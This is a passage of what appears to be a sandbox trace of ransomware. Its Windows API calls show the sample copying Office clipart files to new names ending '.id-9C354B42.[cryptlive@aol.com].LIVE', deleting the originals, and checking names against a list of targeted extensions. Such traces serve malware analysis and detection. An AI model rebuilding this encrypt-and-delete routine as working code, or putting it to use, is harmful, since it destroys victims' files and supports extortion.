(normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145904.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0158.097] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=39542) returned 1 [0158.097] CloseHandle (hObject=0x1b0) returned 1 [0158.097] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145904.jpg")) returned 0x20 [0158.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145904.jpg.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0158.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145904.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0158.098] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.098] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145904.jpg.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0158.099] GetLastError () returned 0x0 [0158.099] ReadFile (in: hFile=0x1b0, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x9a76, lpOverlapped=0x0) returned 1 [0158.101] WriteFile (in: hFile=0x1b8, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x9a80, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x9a80, lpOverlapped=0x0) returned 1 [0158.103] ReadFile (in: hFile=0x1b0, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0158.103] WriteFile (in: hFile=0x1b8, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0158.103] SetEndOfFile (hFile=0x1b8) returned 1 [0158.103] CloseHandle (hObject=0x1b8) returned 1 [0158.103] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.103] SetEndOfFile (hFile=0x1b0) returned 1 [0158.106] CloseHandle (hObject=0x1b0) returned 1 [0158.106] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0158.106] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145904.jpg")) returned 1 [0158.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG") returned 63 [0158.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG") returned 63 [0158.107] lstrlenW (lpString=".doc") returned 4 [0158.107] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0158.107] lstrlenW (lpString=".docx") returned 5 [0158.107] lstrcmpiW (lpString1=".docx", lpString2="4.JPG") returned -1 [0158.107] lstrlenW (lpString=".pdf") returned 4 [0158.107] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0158.107] lstrlenW (lpString=".xls") returned 4 [0158.107] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0158.107] lstrlenW (lpString=".xlsx") returned 5 [0158.107] lstrcmpiW (lpString1=".xlsx", lpString2="4.JPG") returned -1 [0158.107] lstrlenW (lpString=".ppt") returned 4 [0158.107] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0158.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG") returned 63 [0158.107] lstrlenW (lpString=".zip") returned 4 [0158.107] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0158.107] lstrlenW (lpString=".rar") returned 4 [0158.107] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0158.107] lstrlenW (lpString=".bz2") returned 4 [0158.107] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0158.107] lstrlenW (lpString=".7z") returned 3 [0158.107] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0158.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG") returned 63 [0158.107] lstrlenW (lpString=".dbf") returned 4 [0158.107] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0158.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG") returned 63 [0158.107] lstrlenW (lpString=".1cd") returned 4 [0158.107] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0158.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG") returned 63 [0158.107] lstrlenW (lpString=".jpg") returned 4 [0158.107] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0158.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG") returned 63 [0158.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG") returned 63 [0158.108] lstrlenW (lpString=".doc") returned 4 [0158.108] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0158.108] lstrlenW (lpString=".docx") returned 5 [0158.108] lstrcmpiW (lpString1=".docx", lpString2="4.JPG") returned -1 [0158.108] lstrlenW (lpString=".pdf") returned 4 [0158.108] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0158.108] lstrlenW (lpString=".xls") returned 4 [0158.108] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0158.108] lstrlenW (lpString=".xlsx") returned 5 [0158.108] lstrcmpiW (lpString1=".xlsx", lpString2="4.JPG") returned -1 [0158.108] lstrlenW (lpString=".ppt") returned 4 [0158.108] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0158.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG") returned 63 [0158.108] lstrlenW (lpString=".zip") returned 4 [0158.108] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0158.108] lstrlenW (lpString=".rar") returned 4 [0158.108] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0158.108] lstrlenW (lpString=".bz2") returned 4 [0158.108] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0158.108] lstrlenW (lpString=".7z") returned 3 [0158.108] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0158.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG") returned 63 [0158.108] lstrlenW (lpString=".dbf") returned 4 [0158.108] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0158.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG") returned 63 [0158.108] lstrlenW (lpString=".1cd") returned 4 [0158.108] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0158.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG") returned 63 [0158.108] lstrlenW (lpString=".jpg") returned 4 [0158.108] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0158.108] lstrcmpiW (lpString1=".JPG", lpString2=".LIVE") returned -1 [0158.109] lstrlenW (lpString="J0146142.JPG") returned 12 [0158.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0146142.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0158.109] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=46508) returned 1 [0158.109] CloseHandle (hObject=0x1b0) returned 1 [0158.109] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0146142.jpg")) returned 0x20 [0158.109] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0146142.jpg.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0158.110] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0146142.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0158.110] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.110] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.110] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0146142.jpg.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0158.113] GetLastError () returned 0x0 [0158.113] ReadFile (in: hFile=0x1b0, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0xb5ac, lpOverlapped=0x0) returned 1 [0158.288] WriteFile (in: hFile=0x1b8, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xb5b0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xb5b0, lpOverlapped=0x0) returned 1 [0158.302] ReadFile (in: hFile=0x1b0, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0158.302] WriteFile (in: hFile=0x1b8, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0158.303] SetEndOfFile (hFile=0x1b8) returned 1 [0158.303] CloseHandle (hObject=0x1b8) returned 1 [0158.303] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.303] SetEndOfFile (hFile=0x1b0) returned 1 [0158.309] CloseHandle (hObject=0x1b0) returned 1 [0158.309] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0158.427] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0146142.jpg")) returned 1 [0158.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG") returned 63 [0158.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG") returned 63 [0158.499] lstrlenW (lpString=".doc") returned 4 [0158.499] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0158.499] lstrlenW (lpString=".docx") returned 5 [0158.499] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0158.499] lstrlenW (lpString=".pdf") returned 4 [0158.499] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0158.499] lstrlenW (lpString=".xls") returned 4 [0158.499] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0158.499] lstrlenW (lpString=".xlsx") returned 5 [0158.499] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0158.499] lstrlenW (lpString=".ppt") returned 4 [0158.499] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0158.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG") returned 63 [0158.499] lstrlenW (lpString=".zip") returned 4 [0158.499] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0158.499] lstrlenW (lpString=".rar") returned 4 [0158.499] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0158.499] lstrlenW (lpString=".bz2") returned 4 [0158.499] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0158.499] lstrlenW (lpString=".7z") returned 3 [0158.499] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0158.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG") returned 63 [0158.499] lstrlenW (lpString=".dbf") returned 4 [0158.499] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0158.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG") returned 63 [0158.499] lstrlenW (lpString=".1cd") returned 4 [0158.499] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0158.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG") returned 63 [0158.499] lstrlenW (lpString=".jpg") returned 4 [0158.499] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0158.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG") returned 63 [0158.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG") returned 63 [0158.500] lstrlenW (lpString=".doc") returned 4 [0158.500] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0158.500] lstrlenW (lpString=".docx") returned 5 [0158.500] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0158.500] lstrlenW (lpString=".pdf") returned 4 [0158.500] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0158.500] lstrlenW (lpString=".xls") returned 4 [0158.500] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0158.500] lstrlenW (lpString=".xlsx") returned 5 [0158.500] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0158.500] lstrlenW (lpString=".ppt") returned 4 [0158.500] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0158.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG") returned 63 [0158.500] lstrlenW (lpString=".zip") returned 4 [0158.500] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0158.500] lstrlenW (lpString=".rar") returned 4 [0158.500] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0158.500] lstrlenW (lpString=".bz2") returned 4 [0158.500] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0158.500] lstrlenW (lpString=".7z") returned 3 [0158.500] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0158.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG") returned 63 [0158.500] lstrlenW (lpString=".dbf") returned 4 [0158.500] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0158.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG") returned 63 [0158.500] lstrlenW (lpString=".1cd") returned 4 [0158.500] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0158.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG") returned 63 [0158.500] lstrlenW (lpString=".jpg") returned 4 [0158.500] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0158.501] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0158.501] lstrlenW (lpString="J0151063.WMF") returned 12 [0158.501] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151063.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0158.503] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=10632) returned 1 [0158.503] CloseHandle (hObject=0x350) returned 1 [0158.503] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151063.wmf")) returned 0x20 [0158.503] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151063.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0158.503] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151063.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0158.503] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.504] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.504] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151063.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0158.504] GetLastError () returned 0x0 [0158.504] ReadFile (in: hFile=0x350, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x2988, lpOverlapped=0x0) returned 1 [0158.580] WriteFile (in: hFile=0x384, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x2990, lpOverlapped=0x0) returned 1 [0158.581] ReadFile (in: hFile=0x350, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0158.581] WriteFile (in: hFile=0x384, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0158.581] SetEndOfFile (hFile=0x384) returned 1 [0158.582] CloseHandle (hObject=0x384) returned 1 [0158.582] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.582] SetEndOfFile (hFile=0x350) returned 1 [0158.584] CloseHandle (hObject=0x350) returned 1 [0158.584] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0158.585] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151063.wmf")) returned 1 [0158.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF") returned 63 [0158.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF") returned 63 [0158.585] lstrlenW (lpString=".doc") returned 4 [0158.585] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.585] lstrlenW (lpString=".docx") returned 5 [0158.585] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0158.585] lstrlenW (lpString=".pdf") returned 4 [0158.585] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.585] lstrlenW (lpString=".xls") returned 4 [0158.585] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.586] lstrlenW (lpString=".xlsx") returned 5 [0158.586] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0158.586] lstrlenW (lpString=".ppt") returned 4 [0158.586] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF") returned 63 [0158.586] lstrlenW (lpString=".zip") returned 4 [0158.586] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.586] lstrlenW (lpString=".rar") returned 4 [0158.586] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.586] lstrlenW (lpString=".bz2") returned 4 [0158.586] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.586] lstrlenW (lpString=".7z") returned 3 [0158.586] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF") returned 63 [0158.586] lstrlenW (lpString=".dbf") returned 4 [0158.586] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF") returned 63 [0158.586] lstrlenW (lpString=".1cd") returned 4 [0158.586] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF") returned 63 [0158.586] lstrlenW (lpString=".jpg") returned 4 [0158.586] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF") returned 63 [0158.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF") returned 63 [0158.586] lstrlenW (lpString=".doc") returned 4 [0158.586] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.586] lstrlenW (lpString=".docx") returned 5 [0158.586] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0158.586] lstrlenW (lpString=".pdf") returned 4 [0158.586] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.586] lstrlenW (lpString=".xls") returned 4 [0158.586] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.586] lstrlenW (lpString=".xlsx") returned 5 [0158.586] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0158.586] lstrlenW (lpString=".ppt") returned 4 [0158.586] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF") returned 63 [0158.587] lstrlenW (lpString=".zip") returned 4 [0158.587] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.587] lstrlenW (lpString=".rar") returned 4 [0158.587] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.587] lstrlenW (lpString=".bz2") returned 4 [0158.587] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.587] lstrlenW (lpString=".7z") returned 3 [0158.587] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF") returned 63 [0158.587] lstrlenW (lpString=".dbf") returned 4 [0158.587] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF") returned 63 [0158.587] lstrlenW (lpString=".1cd") returned 4 [0158.587] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF") returned 63 [0158.587] lstrlenW (lpString=".jpg") returned 4 [0158.587] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.587] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0158.587] lstrlenW (lpString="J0151581.WMF") returned 12 [0158.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151581.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0158.626] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=10752) returned 1 [0158.626] CloseHandle (hObject=0x1e0) returned 1 [0158.626] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151581.wmf")) returned 0x20 [0158.693] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft 